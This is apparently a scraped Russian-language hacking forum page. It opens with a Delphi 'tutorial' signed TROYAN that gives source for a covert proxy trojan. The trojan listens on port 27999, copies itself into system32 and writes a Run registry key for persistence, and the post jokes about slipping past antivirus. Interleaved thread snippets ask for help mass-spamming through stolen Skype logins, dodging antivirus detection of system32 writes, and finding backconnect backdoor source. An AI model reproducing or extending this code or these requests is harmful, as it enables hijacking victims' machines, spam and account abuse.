if not Assigned(FOppositeClient) then begin
FOppositeClient:=TExternalClient.Create;
FOppositeClient.FOppositeClient:=self;
FOppositeClient.Connect(PChar(Buffer));
if FOppositeClient.FSocket=INVALID_SOCKET then begin
Disconnect;
exit;
end;
FCompPort.AssociateDevice(FOppositeClient.FSocket,Cardinal(FOppositeClient));
FOppositeClient.Complete(0);
end;
FOppositeClient.Write(Buffer,dwNumBytes);
end;
ReadFile(FSocket,Buffer^,BufSize,BytesRead,ov);
end;

procedure TExternalClient.Complete(dwNumBytes: Cardinal);
var
BytesRead:Cardinal;
begin
if dwNumBytes>0 then FOppositeClient.Write(Buffer,dwNumBytes);
ReadFile(FSocket,Buffer^,BufSize,BytesRead,ov);
end;
end.


И сохраним его как uProxy.pas

Предупреждаю ))Этот код был взят ,даж непомню с какого сайта , но прокси был
консольный=)

Теперь опять откроем блокнот и напишем это:


Code:Copy to clipboard



program proxy;

uses uProxy,Windows,SysUtils,WinSock;

function RegCreateKey(hKey: HKEY; lpSubKey: PChar;
var phkResult: HKEY): Longint; stdcall; external 'advapi32' name 'RegCreateKeyA';

function RegSetValueEx(hKey: HKEY; lpValueName: PChar;Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external 'advapi32' name 'RegSetValueExA';

function RegCloseKey(hKey: HKEY): Longint; stdcall; external 'advapi32' name 'RegCloseKey';

{функция для работы с реестром=)}

function RegSetString(key:Hkey; sdk,nd,acces:string):boolean;
var
kyky:hkey;
begin
result := false;
RegCreateKey(key,PChar(sdk),kyky);
if RegSetValueEx(kyky,Pchar(nd),0,2,pchar(acces),length(acces)) = 0 then
result := true;
RegCloseKey(kyky);
end;
{процедура для самокопирования}

procedure copyf;
const
dir = 'C:\WINDOWS\system32\';
begin
CopyFile(PChar(ParamStr(0)),PChar(dir+ExtractFileName(ParamStr(0))),True);
end;

{записуемся в реестр}

procedure regg;
const
lol = 'Software\Microsoft\Windows\CurrentVersion\Run';
byn = $80000002;
sett = 'Setting';
skl : integer = 1;
b = 'C:\WINDOWS\system32\';
begin
sleep(10);sleep(11);
sleep(12);sleep(13);
sleep(14);sleep(15);
RegSetString(byn,lol,sett,b+ExtractFileName(paramstr(0)));
end;

{запускаем прокси}
const
ClientThreadCount:integer=8; // указываем потоки
ListenPort:Dword=27999; // порт для работы прокси
var
WSAData:TWSAData;
Cnt:Cardinal;
i:integer;
Buff: array [0..10] of char;
ConsoleText: String;
id : dword;
begin
MEssaGeBox(0,'Превед,а кто ты?','Йа прокси!',0); //пишем юзеру шо мы прокси=)
ID:=1;
regg; {записуемся в реестер}
copyf; {копируемся в системную диру}
FCompPort:=TCompletionPort.Create(ClientThreadCount);
if FCompPort.FHandle<>0 then begin
if not WSAStartup($0101, WSAData) <> 0 then // если незапускается библиотека
MessageBox(0,'Йа аШыбкО','незапускается пля((',0);// то покажим ошибку
for i:=0 to ClientThreadCount-1 do TClientThread.Create(false);
TAcceptThread.Create(ListenPort);
repeat
ReadConsole(GetStdHandle(STD_INPUT_HANDLE),@Buff,10,Cnt,nil);
ConsoleText := String(Buff);
until UpperCase(Copy(ConsoleText,1,4)) = 'EXIT';
WSACleanup;

end;

end.


Сохраняем как proxy.dpr запускаем на делфях и компилим.
Правдо нод будет ругаццо,но можно нод напоить пифком и нод раслабиццо,или
подправить код=)
Всё!
© TROYAN. | core32.org

Также скачать исходники можно [тут](http://webfile.ru/2143545)

Помогите пожалуйста исправить ошибки в Delphi

Author: sao322 • 2019-04-24T11:44:18+0000 • Replies: 3 • Views: 7K
Может кто то сможет помочь?


сначала я ввожу цифры во все строки потом сохраняю в TXt и когда я открываю
его(Txt) через приложение в углу всегда вместо моего числа которое было
изначально появляется Число 0

![3252](https://xss.is/attachments/3252/)





Code:Copy to clipboard



unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Grids, StdCtrls, Menus;

type
TForm1 = class(TForm)
lbl1: TLabel;
edt_m: TEdit;
StringGrid1: TStringGrid;
Button1: TButton;
Button2: TButton;
Button3: TButton;
SaveDialog1: TSaveDialog;
OpenDialog1: TOpenDialog;
btn4: TButton;
mm1: TMainMenu;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
procedure edit_mExit(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure btn4Click(Sender: TObject);
procedure N3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
type matr=array [1..100,1..101] of real;
vec=array[1..100] of Real;
var
Form1: TForm1;
m:integer;
a:matr;
c:vec;
myfile:string;
fl:TextFile;
implementation

{$R *.dfm}
procedure ReadA;
var i,j:integer;
begin
for i:=1 to m do
for j:=i to m+1 do
a[i,j]:=StrToFloat(Form1.StringGrid1.Cells[j,i]);
end;
procedure Zeidel (n:Integer; a:matr; var x:vec);
var i,j,k,z:Integer; e,r,s:Real;
begin
for k:=1 to m do
begin
z:=k;
for i:=1 to n do
begin
s:=a[i,n+1];
for j:=1 to n do s:=s-a[i,j]*x[j];
s:=s/a[i,i];
x[i]:=x[i]+s;
if abs(s)>e then z:=0
end;
if z<>0 then Break;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
var i,j:Integer;
begin
if OpenDialog1.Execute then
begin
myfile:=OpenDialog1.FileName;
AssignFile(fl,myfile);
Reset(fl);
for i:=1 to m do
begin
for j:=1 to m+1 do
begin
Read(fl,a[i,j]);
StringGrid1.Cells[j,i]:=FloatToStr(a[i,j]);
end;
end;
Readln(fl);
end;
CloseFile(fl);
end;



procedure TForm1.edit_mExit(Sender: TObject);
begin
m:=StrToInt(edt_m.Text);
with StringGrid1 do
begin
RowCount:=m+2;
Colcount:=m+4;
Rows[0].Clear;
Rows[m+1].Clear;
Cols[0].Clear;
Cols[m+2].Clear;
Cols[m+3].Clear;
Cells[0,0]:='a';
Cells[m+1,0]:='b';
Cells[0,m+1]:='Êîðíè X';
Cells[m+2,0]:='Ïðîâåðêà';
Cells[m+3,0]:='Ïîãðåùíîñòü';
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var i,j:Integer;
begin
ReadA;
if SaveDialog1.Execute then
begin
myfile :=SaveDialog1.FileName;
AssignFile(fl,myfile);
Rewrite(fl);
for i:=1 to m do
begin
for j:=1 to m+1 do
begin
Write(fl,a[i,j]);
Writeln(fl);
end;
end;
CloseFile(fl);
end
else ShowMessage('Íå óêàçàíî èìÿ ôàéëà');
end;
procedure TForm1.Button3Click(Sender: TObject);
var i,j:Integer; s:Real;
begin
ReadA;
Zeidel(m,a,c);
for i:=1 to m do
StringGrid1.Cells[i,m+1]:=FloatToStr(c[i]);
for i:=1 to m do
begin
s:=0;
for j:=1 to m do s:=s+a[i,j]*c[j];
StringGrid1.Cells[m+2,i]:=FloatToStr(s);
StringGrid1.Cells[m+3,i]:=FloatToStr(abs((s-a[i,m+1])/s));
end;


end;

procedure TForm1.btn4Click(Sender: TObject);
begin
Halt;
end;

procedure TForm1.N3Click(Sender: TObject);
begin
ShowMessage('Ïðîãðàììà ðàññ÷åòà ÑËÀÓ.');
end;
end.

Проект на практику

Author: SaintVulpes • 2019-02-18T01:07:00+0000 • Replies: 11 • Views: 7K
Всем доброг времени суток, хотел спросить, что можно написать на Делфи для
сдачи производственной практики, пооект обязательно должен содержать БД

Залогиниться в скайпе.

Author: alerod • 2013-03-27T18:53:29+0000 • Replies: 5 • Views: 7K
Нужна помощь знающих
![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
Есть спамер скайпа написанный на делфи.Отличная вещь с одним громадным
минусом.Спамит только по одному аккаунту.Тоесть берётся аккаунт скайпа,из него
подгружаются контакты и идёт спам по ним.
Задал вопрос автору софта,можно ли реализовать такое:"Берём базу акк скайпа
логин:пасс,вставляем в прогу,прога начинает заходить сначала на один
акк,скачивает контакты,спамит их,выходит из скайпа,стирает контакты,заходит на
второй акк,грузит контакты,спамит их,выходит из скайпа,стирает контакты и
т.д.На,что получил ответ:"1\. Искать как логиниться в скайпе 2. Писать свой
клиент для скайпа.
Так как второе отпадает из за временных и денежных затрат,решил помочь автору
и сам разузнать у умных людей,возможно ли как-то реализовать залогинивание в
скайпе этим спамером?

Антивирь палит запись в System32. Как быть?

Author: mr. Eof • 2006-10-10T14:10:12+0000 • Replies: 15 • Views: 7K
Добрый день!

Проблема в том, что одна из функций моей новой "программы" копирует ее в папку
system32, НО ЭТО ПАЛИТ АНТИВИРЬ!!!

Что делать?
Посоветуйте??

Спасибо!

Ищю исходник бекконнект-бекдора

Author: Nightmarе • 2008-10-19T21:49:52+0000 • Replies: 13 • Views: 7K
delete